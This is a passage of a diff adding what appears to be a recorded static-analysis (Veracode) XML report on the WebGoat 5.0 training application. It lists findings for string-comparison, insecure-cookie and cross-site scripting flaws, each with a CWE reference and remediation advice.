+        line=\"282\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.XMLInjection\"
+        functionprototype=\"apache.ecs.Element createContent(session.WebSession)\"
+        functionrelativelocation=\"86\"/>\n<flaw severity=\"2\" categoryname=\"Use
+        of Wrong Operator in String Comparison\" count=\"1\" issueid=\"164\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"span.neq\" description=\"Using '==' to compare two strings for equality
+        actually compares the object references rather than their values. It is unlikely
+        that this reflects the intended application logic.\r\n\r\nUse the equals()
+        method to compare strings, not the '==' operator.\r\n\r\nReferences: \r\nCWE
+        (http://cwe.mitre.org/data/definitions/597.html)\r\n\r\n\" note=\"\" cweid=\"597\"
+        remediationeffort=\"1\" exploitLevel=\"-1\" categoryid=\"17\" pcirelated=\"false\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"pnn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"XMLInjection.java\"
+        line=\"292\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.XMLInjection\"
+        functionprototype=\"apache.ecs.Element createContent(session.WebSession)\"
+        functionrelativelocation=\"93\"/>\n</staticflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"12\" categoryname=\"Cryptographic Issues\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"Applications commonly use cryptography to implement authentication
+        mechanisms and to ensure the confidentiality and integrity of sensitive data,
+        both in transit and at rest.  The proper and accurate implementation of cryptography
+        is extremely critical to its efficacy.  Configuration or coding mistakes as
+        well as incorrect assumptions may negate a large degree of the protection
+        it affords, leaving the crypto implementation vulnerable to attack.\"/>\n<para
+        text=\"Common cryptographic mistakes include, but are not limited to, selecting
+        weak keys or weak cipher modes, unintentionally exposing sensitive cryptographic
+        data, using predictable entropy sources, and mismanaging or hard-coding keys.
+        \ \"/>\n<para text=\"Developers often make the dangerous assumption that they
+        can improve security by designing their own cryptographic algorithm; however,
+        one of the basic tenets of cryptography is that any cipher whose effectiveness
+        is reliant on the secrecy of the algorithm is fundamentally flawed.  \"/>\n</desc>\n<recommendations>\n<para
+        text=\"Select the appropriate type of cryptography for the intended purpose.
+        \ Avoid proprietary encryption algorithms as they typically rely on &quot;security
+        through obscurity&quot; rather than sound mathematics.  Select key sizes appropriate
+        for the data being protected; for high assurance applications, 256-bit symmetric
+        keys and 2048-bit asymmetric keys are sufficient.  Follow best practices for
+        key storage, and ensure that plaintext data and key material are not inadvertently
+        exposed.\"/>\n</recommendations>\n<cwe cweid=\"614\" cwename=\"Sensitive Cookie
+        in HTTPS Session Without 'Secure' Attribute\" pcirelated=\"false\" owasp=\"934\"
+        sans=\"311\">\n<description>\n<text text=\"Setting the Secure attribute on
+        an HTTP cookie instructs the web browser to send it only over a secure channel,
+        such as an SSL connection.  Issuing a cookie without the Secure attribute
+        allows the browser to transmit it over unencrypted connections, which are
+        susceptible to eavesdropping.  It is particularly important to set the Secure
+        attribute on any cookies containing sensitive data, such as authentication
+        information (e.g. &quot;remember me&quot; style functionality).\"/>\n</description>\n<staticflaws>\n<flaw
+        severity=\"2\" categoryname=\"Sensitive Cookie in HTTPS Session Without 'Secure'
+        Attribute\" count=\"1\" issueid=\"158\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.http.HttpServletResponse.addCookie\" description=\"This
+        call to javax.servlet.http.HttpServletResponse.addCookie() adds a cookie to
+        the HTTP response that does not have the Secure attribute set. Failing to
+        set this attribute allows the browser to send the cookie unencrypted over
+        an HTTP session.\r\n\r\nSet the Secure attribute for all cookies used by HTTPS
+        sessions.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/614.html)
+        \r\nWASC (http://webappsec.pbworks.com/Insufficient-Transport-Layer-Protection)\r\n\r\n\"
+        note=\"\" cweid=\"614\" remediationeffort=\"1\" exploitLevel=\"0\" categoryid=\"12\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"pnn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Challenge2Screen.java\"
+        line=\"172\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.Challenge2Screen\"
+        functionprototype=\"apache.ecs.Element doStage1(session.WebSession)\" functionrelativelocation=\"94\"/>\n<flaw
+        severity=\"2\" categoryname=\"Sensitive Cookie in HTTPS Session Without 'Secure'
+        Attribute\" count=\"1\" issueid=\"154\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.http.HttpServletResponse.addCookie\" description=\"This
+        call to javax.servlet.http.HttpServletResponse.addCookie() adds a cookie to
+        the HTTP response that does not have the Secure attribute set. Failing to
+        set this attribute allows the browser to send the cookie unencrypted over
+        an HTTP session.\r\n\r\nSet the Secure attribute for all cookies used by HTTPS
+        sessions.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/614.html)
+        \r\nWASC (http://webappsec.pbworks.com/Insufficient-Transport-Layer-Protection)\r\n\r\n\"
+        note=\"\" cweid=\"614\" remediationeffort=\"1\" exploitLevel=\"0\" categoryid=\"12\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"pnn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Challenge2Screen.java\"
+        line=\"193\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.Challenge2Screen\"
+        functionprototype=\"apache.ecs.Element doStage2(session.WebSession)\" functionrelativelocation=\"3\"/>\n<flaw
+        severity=\"2\" categoryname=\"Sensitive Cookie in HTTPS Session Without 'Secure'
+        Attribute\" count=\"1\" issueid=\"159\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.http.HttpServletResponse.addCookie\" description=\"This
+        call to javax.servlet.http.HttpServletResponse.addCookie() adds a cookie to
+        the HTTP response that does not have the Secure attribute set. Failing to
+        set this attribute allows the browser to send the cookie unencrypted over
+        an HTTP session.\r\n\r\nSet the Secure attribute for all cookies used by HTTPS
+        sessions.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/614.html)
+        \r\nWASC (http://webappsec.pbworks.com/Insufficient-Transport-Layer-Protection)\r\n\r\n\"
+        note=\"\" cweid=\"614\" remediationeffort=\"1\" exploitLevel=\"0\" categoryid=\"12\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"pnn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"WeakAuthenticationCookie.java\"
+        line=\"146\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.WeakAuthenticationCookie\"
+        functionprototype=\"java.lang.String checkParams(session.WebSession)\" functionrelativelocation=\"89\"/>\n<flaw
+        severity=\"2\" categoryname=\"Sensitive Cookie in HTTPS Session Without 'Secure'
+        Attribute\" count=\"1\" issueid=\"19\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.http.HttpServletResponse.addCookie\" description=\"This
+        call to javax.servlet.http.HttpServletResponse.addCookie() adds a cookie to
+        the HTTP response that does not have the Secure attribute set. Failing to
+        set this attribute allows the browser to send the cookie unencrypted over
+        an HTTP session.\r\n\r\nSet the Secure attribute for all cookies used by HTTPS
+        sessions.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/614.html)
+        \r\nWASC (http://webappsec.pbworks.com/Insufficient-Transport-Layer-Protection)\r\n\r\n\"
+        note=\"\" cweid=\"614\" remediationeffort=\"1\" exploitLevel=\"0\" categoryid=\"12\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"pnn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"WeakSessionID.java\"
+        line=\"209\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.WeakSessionID\"
+        functionprototype=\"apache.ecs.Element makeLogin(session.WebSession)\" functionrelativelocation=\"8\"/>\n<flaw
+        severity=\"2\" categoryname=\"Sensitive Cookie in HTTPS Session Without 'Secure'
+        Attribute\" count=\"1\" issueid=\"52\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.http.HttpServletResponse.addCookie\" description=\"This
+        call to javax.servlet.http.HttpServletResponse.addCookie() adds a cookie to
+        the HTTP response that does not have the Secure attribute set. Failing to
+        set this attribute allows the browser to send the cookie unencrypted over
+        an HTTP session.\r\n\r\nSet the Secure attribute for all cookies used by HTTPS
+        sessions.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/614.html)
+        \r\nWASC (http://webappsec.pbworks.com/Insufficient-Transport-Layer-Protection)\r\n\r\n\"
+        note=\"\" cweid=\"614\" remediationeffort=\"1\" exploitLevel=\"0\" categoryid=\"12\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"pnn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"WebSession.java\"
+        line=\"335\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.WebSession\"
+        functionprototype=\"void eatCookies()\" functionrelativelocation=\"79\"/>\n</staticflaws>\n</cwe>\n</category>\n</severity>\n<severity
+        level=\"1\"/>\n<severity level=\"0\">\n<category categoryid=\"20\" categoryname=\"Cross-Site
+        Scripting\" pcirelated=\"false\">\n<desc>\n<para text=\"Cross-site scripting
+        (XSS) attacks occur when an attacker uses a web application to send malicious
+        code, generally in the form of a browser side script, to a different end user.
+        Flaws that allow these attacks to succeed occur whenever a web application
+        uses untrusted data in the output it generates without validating or encoding
+        it.  XSS vulnerabilities are commonly exploited to steal or manipulate cookies,
+        modify presentation of content, and compromise sensitive information, with
+        new attack vectors being discovered on a regular basis.  XSS is also commonly
+        referred to as HTML injection.\"/>\n<para text=\"XSS vulnerabilities can be
+        either persistent or transient (often referred to as stored and reflected,
+        respectively).  In a persistent XSS vulnerability, the injected code is stored
+        by the application, for example within a blog comment or message board.  The
+        attack occurs whenever a victim views the page containing the malicious script.
+        \ In a transient XSS vulnerability, the injected code is included directly
+        in the HTTP request.  These attacks are often carried out via malicious URLs
+        sent via email or another website and requires the victim to browse to that
+        link.  The consequence of an XSS attack to a victim is the same regardless
+        of whether it is persistent or transient; however, persistent XSS vulnerabilities
+        are likely to affect a greater number of victims due to its delivery mechanism.\"/>\n</desc>\n<recommendations>\n<para
+        text=\"Several techniques can be used to prevent XSS attacks. These techniques
+        complement each other and address security at different points in the application.
+        Using multiple techniques provides defense-in-depth and minimizes the likelihood
+        of a XSS vulnerability.\">\n<bulletitem text=\"Use output filtering to sanitize
+        all output generated from user-supplied input, selecting the appropriate method
+        of encoding based on the use case of the untrusted data.  For example, if
+        the data is being written to the body of an HTML page, use HTML entity encoding.
+        \ However, if the data is being used to construct generated Javascript or
+        if it is consumed by client-side methods that may interpret it as code (a
+        common technique in Web 2.0 applications), additional restrictions may be
+        necessary beyond simple HTML encoding.\"/>\n<bulletitem text=\"Validate user-supplied
+        input using positive filters (white lists) to ensure that it conforms to the
+        expected format, using centralized data validation routines when possible.
+        \"/>\n<bulletitem text=\"Do not permit users to include HTML content in posts,
+        notes, or other data that will be displayed by the application.  If users
+        are permitted to include HTML tags, then carefully limit access to specific
+        elements or attributes, and use strict validation filters to prevent abuse.\"/>\n</para>\n</recommendations>\n<cwe
+        cweid=\"80\" cwename=\"Improper Neutralization of Script-Related HTML Tags
+        in a Web Page (Basic XSS)\" pcirelated=\"false\" owasp=\"931\" sans=\"79\">\n<description>\n<text
+        text=\"This call contains a cross-site scripting (XSS) flaw.  The application
+        populates the HTTP response with user-supplied input, allowing an attacker
+        to embed malicious content, such as Javascript code, which will be executed
+        in the context of the victim's browser.  XSS vulnerabilities are commonly
+        exploited to steal or manipulate cookies, modify presentation of content,
+        and compromise confidential information, with new attack vectors being discovered
+        on a regular basis.\"/>\n</description>\n<staticflaws>\n<flaw severity=\"0\"
+        categoryname=\"Improper Neutralization of Script-Related HTML Tags in a Web
+        Page (Basic XSS)\" count=\"1\" issueid=\"184\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile.jsp\"
+        line=\"89\" sourcefilepath=\"/lessons/RoleBasedAccessControl/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"56\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"240\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile.jsp\"
+        line=\"94\" sourcefilepath=\"/lessons/RoleBasedAccessControl/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"60\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"177\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"15\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"63\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"15\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"84\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"15\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"62\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getFirstName().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"58\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"20\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"77\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
